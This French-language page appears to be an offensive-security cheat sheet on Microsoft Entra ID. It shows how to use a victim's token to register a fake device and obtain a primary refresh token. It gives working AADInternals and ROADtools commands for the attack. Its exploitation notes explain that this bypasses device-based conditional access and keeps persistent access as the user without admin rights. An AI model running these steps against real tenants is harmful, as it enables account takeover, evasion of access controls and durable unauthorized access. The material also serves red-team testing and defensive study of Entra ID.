Avec le jeton d'un utilisateur, vous pouvez enregistrer un tout nouvel objet périphérique dans Entra sous son identité. Le périphérique enregistré reçoit son propre matériel de clé et un jeton d'actualisation primaire (primary refresh token), qui vous confère à la fois un SSO durable en tant que l'utilisateur et fait de vous un périphérique auquel l'accès conditionnel basé sur le périphérique fera confiance.
Enregistrer un périphérique et obtenir un PRT#
# AADInternals: join a fake device using the user's token, then mint a PRT
$at = Get-AADIntAccessTokenForAADJoin
Join-AADIntDeviceToAzureAD -DeviceName "laptop-01" -DeviceType "Windows" -AccessToken $at
# use the returned device certificate to request a user PRT
Get-AADIntUserPRTToken
# ROADtools: roadtx registers a device and handles the PRT
roadtx device -a register -n laptop-01
Notes d'exploitation#
- Un périphérique enregistré satisfait les stratégies d'accès conditionnel « exiger un périphérique conforme/enregistré », contournant un contrôle courant (accès conditionnel).
- Le PRT du périphérique constitue une persistance durable en tant que l'utilisateur jusqu'à ce que le périphérique soit supprimé.
- L'enregistrement (par opposition à la jonction) ne nécessite généralement qu'un jeton d'utilisateur valide, sans droits d'administration, si l'enregistrement de périphériques est ouvert (ce qui est le cas par défaut dans de nombreux locataires).
Outils#
- AADInternals (
Join-AADIntDeviceToAzureAD). - ROADtools (
roadtx device).